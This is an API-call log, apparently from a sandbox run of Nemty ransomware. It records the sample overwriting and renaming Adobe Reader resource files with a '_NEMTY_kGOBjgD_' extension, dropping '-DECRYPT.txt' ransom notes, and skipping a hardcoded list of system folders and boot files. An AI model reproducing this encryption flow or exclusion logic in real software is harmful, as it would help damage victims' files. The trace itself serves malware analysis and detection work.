(lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\ZY______.PFB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\zy______.pfb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0214.530] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=96418) returned 1 [0214.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x178a0) returned 0x6352c48 [0214.530] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.530] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x178a0, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x178a0, lpOverlapped=0x0) returned 1 [0214.538] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.538] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x178a0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x178a0, lpOverlapped=0x0) returned 1 [0214.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0214.538] SetFilePointer (in: hFile=0x254, lDistanceToMove=96418, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x178a2 [0214.538] WriteFile (in: hFile=0x254, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0214.539] CloseHandle (hObject=0x254) returned 1 [0214.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0214.539] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0214.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.539] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0214.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0214.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0214.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0214.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.539] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\ZY______.PFB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\zy______.pfb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\ZY______.PFB._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\zy______.pfb._nemty_kgobjgd_")) returned 1 [0214.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0214.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0214.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0214.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0214.540] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3329ad70, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x3329ad70, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x3329ad70, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0214.540] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0214.540] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0214.540] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0214.540] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0214.540] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0214.540] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0214.540] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0214.540] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0214.540] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0214.540] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0214.540] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0214.540] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0214.540] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0214.540] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0214.540] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0214.540] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0214.540] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0214.540] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0214.540] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0214.540] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0214.540] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0214.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.540] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0214.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.540] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0214.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0214.540] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0214.541] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.541] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0214.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0214.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.541] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.541] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0214.541] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.541] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0214.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.541] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.541] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0214.541] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.541] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0214.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.541] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94088 [0214.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0214.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.541] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3329ad70, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x3329ad70, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x3329ad70, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0214.541] FindClose (in: hFindFile=0x3423a70 | out: hFindFile=0x3423a70) returned 1 [0214.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0214.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351eb8 | out: hHeap=0x4f90000) returned 1 [0214.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351e40 | out: hHeap=0x4f90000) returned 1 [0214.541] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dcf09c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dcf09c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 1 [0214.541] lstrcmpiW (lpString1="Linguistics", lpString2=".") returned 1 [0214.541] lstrcmpiW (lpString1="Linguistics", lpString2="..") returned 1 [0214.541] lstrcmpiW (lpString1="Linguistics", lpString2="...") returned 1 [0214.541] lstrcmpiW (lpString1="Linguistics", lpString2="windows") returned -1 [0214.541] lstrcmpiW (lpString1="Linguistics", lpString2="$RECYCLE.BIN") returned 1 [0214.541] lstrcmpiW (lpString1="Linguistics", lpString2="rsa") returned -1 [0214.541] lstrcmpiW (lpString1="Linguistics", lpString2="NTDETECT.COM") returned -1 [0214.541] lstrcmpiW (lpString1="Linguistics", lpString2="ntldr") returned -1 [0214.541] lstrcmpiW (lpString1="Linguistics", lpString2="MSDOS.SYS") returned -1 [0214.541] lstrcmpiW (lpString1="Linguistics", lpString2="IO.SYS") returned 1 [0214.542] lstrcmpiW (lpString1="Linguistics", lpString2="boot.ini") returned 1 [0214.542] lstrcmpiW (lpString1="Linguistics", lpString2="boot.ini") returned 1 [0214.542] lstrcmpiW (lpString1="Linguistics", lpString2="AUTOEXEC.BAT") returned 1 [0214.542] lstrcmpiW (lpString1="Linguistics", lpString2="ntuser.dat") returned -1 [0214.542] lstrcmpiW (lpString1="Linguistics", lpString2="desktop.ini") returned 1 [0214.542] lstrcmpiW (lpString1="Linguistics", lpString2="CONFIG.SYS") returned 1 [0214.542] lstrcmpiW (lpString1="Linguistics", lpString2="RECYCLER") returned -1 [0214.542] lstrcmpiW (lpString1="Linguistics", lpString2="BOOTSECT.BAK") returned 1 [0214.542] lstrcmpiW (lpString1="Linguistics", lpString2="bootmgr") returned 1 [0214.542] lstrcmpiW (lpString1="Linguistics", lpString2="programdata") returned -1 [0214.542] lstrcmpiW (lpString1="Linguistics", lpString2="appdata") returned 1 [0214.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.542] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Linguistics", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0214.542] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Linguistics", cchWideChar=11, lpMultiByteStr=0x653ef10, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Linguistics", lpUsedDefaultChar=0x0) returned 11 [0214.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.542] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Linguistics", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0214.542] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Linguistics", cchWideChar=11, lpMultiByteStr=0x653ef10, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Linguistics", lpUsedDefaultChar=0x0) returned 11 [0214.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94088 [0214.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351dc8 | out: hHeap=0x4f90000) returned 1 [0214.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94110 [0214.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0214.542] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0214.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.542] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0214.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0214.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94240 [0214.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0214.542] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0214.544] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0214.544] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.544] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0214.545] CloseHandle (hObject=0x1ec) returned 1 [0214.545] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0214.545] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94110 | out: hHeap=0x4f90000) returned 1 [0214.545] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94110 [0214.545] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94198 [0214.545] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94220 [0214.545] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0214.545] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0214.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.546] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0214.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.546] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942a8 [0214.546] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340048 [0214.546] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942a8 | out: hHeap=0x4f90000) returned 1 [0214.546] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0214.546] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0214.546] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.546] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0214.547] CloseHandle (hObject=0x1ec) returned 1 [0214.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0214.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94220 | out: hHeap=0x4f90000) returned 1 [0214.547] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0214.547] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\*.*", lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3381c050, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x3381c050, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423a70 [0214.548] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0214.548] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3381c050, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x3381c050, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0214.548] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0214.548] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0214.548] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dcf09c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f472300, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="LanguageNames2", cAlternateFileName="LANGUA~1")) returned 1 [0214.548] lstrcmpiW (lpString1="LanguageNames2", lpString2=".") returned 1 [0214.548] lstrcmpiW (lpString1="LanguageNames2", lpString2="..") returned 1 [0214.548] lstrcmpiW (lpString1="LanguageNames2", lpString2="...") returned 1 [0214.548] lstrcmpiW (lpString1="LanguageNames2", lpString2="windows") returned -1 [0214.548] lstrcmpiW (lpString1="LanguageNames2", lpString2="$RECYCLE.BIN") returned 1 [0214.548] lstrcmpiW (lpString1="LanguageNames2", lpString2="rsa") returned -1 [0214.548] lstrcmpiW (lpString1="LanguageNames2", lpString2="NTDETECT.COM") returned -1 [0214.548] lstrcmpiW (lpString1="LanguageNames2", lpString2="ntldr") returned -1 [0214.548] lstrcmpiW (lpString1="LanguageNames2", lpString2="MSDOS.SYS") returned -1 [0214.548] lstrcmpiW (lpString1="LanguageNames2", lpString2="IO.SYS") returned 1 [0214.548] lstrcmpiW (lpString1="LanguageNames2", lpString2="boot.ini") returned 1 [0214.548] lstrcmpiW (lpString1="LanguageNames2", lpString2="boot.ini") returned 1 [0214.548] lstrcmpiW (lpString1="LanguageNames2", lpString2="AUTOEXEC.BAT") returned 1 [0214.548] lstrcmpiW (lpString1="LanguageNames2", lpString2="ntuser.dat") returned -1 [0214.548] lstrcmpiW (lpString1="LanguageNames2", lpString2="desktop.ini") returned 1 [0214.548] lstrcmpiW (lpString1="LanguageNames2", lpString2="CONFIG.SYS") returned 1 [0214.548] lstrcmpiW (lpString1="LanguageNames2", lpString2="RECYCLER") returned -1 [0214.548] lstrcmpiW (lpString1="LanguageNames2", lpString2="BOOTSECT.BAK") returned 1 [0214.548] lstrcmpiW (lpString1="LanguageNames2", lpString2="bootmgr") returned 1 [0214.548] lstrcmpiW (lpString1="LanguageNames2", lpString2="programdata") returned -1 